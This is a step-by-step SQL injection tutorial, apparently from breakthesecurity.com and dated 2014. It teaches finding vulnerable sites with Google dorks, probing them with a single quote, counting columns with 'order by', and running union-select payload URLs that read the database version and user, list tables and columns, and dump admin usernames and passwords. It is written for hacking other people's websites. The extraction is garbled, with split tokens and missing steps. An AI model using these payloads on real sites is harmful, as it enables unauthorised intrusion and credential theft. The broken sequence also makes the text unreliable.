SQL Injection Step by Step
SQL Injection Step by Step
step guide
www.breakthesecurity.com
March 24th, 2014
Copy one of the above keyword and paste in the google. Here , we will got lot search
result with
We have to visit the websites one by one for checking the vulnerability.
Note:if you like to hack particular website,then try this:
site:www.victimsite.com dork_list_commands
for eg:
site:www.victimsite.com inurl:index.php?id=
Step 2: Checking the Vulnerability:
Now let us check the vulnerability of the target website. To check the vulnerability ,
add the single quotes(') at the end of the url and hit enter.
For eg:
http://www.victimsite.com/index.php?id=2'
If the page remains in same page or showing that page not found, then it is not
vulnerable.
If you got an error message just like this, then it means that the site is vulnerable
order
order
order
order
by
by
by
by
1
2
3
4
If you get the error while trying the "x"th number,then no of column is "x-1".
I mean:
http://www.victimsite.com/index.php?id=2
http://www.victimsite.com/index.php?id=2
http://www.victimsite.com/index.php?id=2
http://www.victimsite.com/index.php?id=2
http://www.victimsite.com/index.php?id=2
http://www.victimsite.com/index.php?id=2
http://www.victimsite.com/index.php?id=2
http://www.victimsite.com/index.php?id=2
order
order
order
order
order
order
order
order
by
by
by
by
by
by
by
by
1(noerror)
2(noerror)
3(noerror)
4(noerror)
5(noerror)
6(noerror)
7(noerror)
8(error)
Once you execute the query, it will display the vulnerable column.
Bingo, column '3' and '7' are found to be vulnerable. Let us take the first vulnerable column
'3' . We can inject our query in this column.
Step 5: Finding version,database,user
Replace the 3 from the query with "version()"
For eg:
http://www.victimsite.com/index.php?id=-2 and 1=2 union select
1,2,version(),4,5,6,7--
Now, It will display the version as 5.0.1 or 4.3. something like this.
Replace the version() with database() and user() for finding the database,user respectively.
For eg:
http://www.victimsite.com/index.php?id=-2 and 1=2 union select
1,2,database(),4,5,6,7--
Now it will display the list of table names. Find the table name which is related with
the admin or user.
It will ask you to enter string that you want to convert to MySQLCHAR(). We want to
convert the table name to MySQLChar . In our case the table name is 'admin'.
Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.
Copy and paste the code at the end of the url instead of the "mysqlchar"
For eg:
http://www.victimsite.com/index.php?id=-2 and 1=2 union select
1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where
table_name=CHAR(97, 100, 109, 105, 110)-The above query will display the list of column.
For example:
admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas
s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..et
c..
Now replace the replace group_concat(column_name) with
group_concat(columnname1,0x3a,anothercolumnname2).
Now replace the " from information_schema.columns where table_name=CHAR(97, 100,
109, 105, 110)" with the "from table_name"
For eg:
http://www.victimsite.com/index.php?id=-2
and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7
from admin--
If the above query displays the 'column is not found' erro, then try another column
name from the list.
If we got luck, then it will display the data stored in the database depending on your column
name. For instance, username and password column will display the login credentials stored
in the database.
etc.
If you got luck ,you will find the admin page using above urls. or you can some kind
of admin finder tools.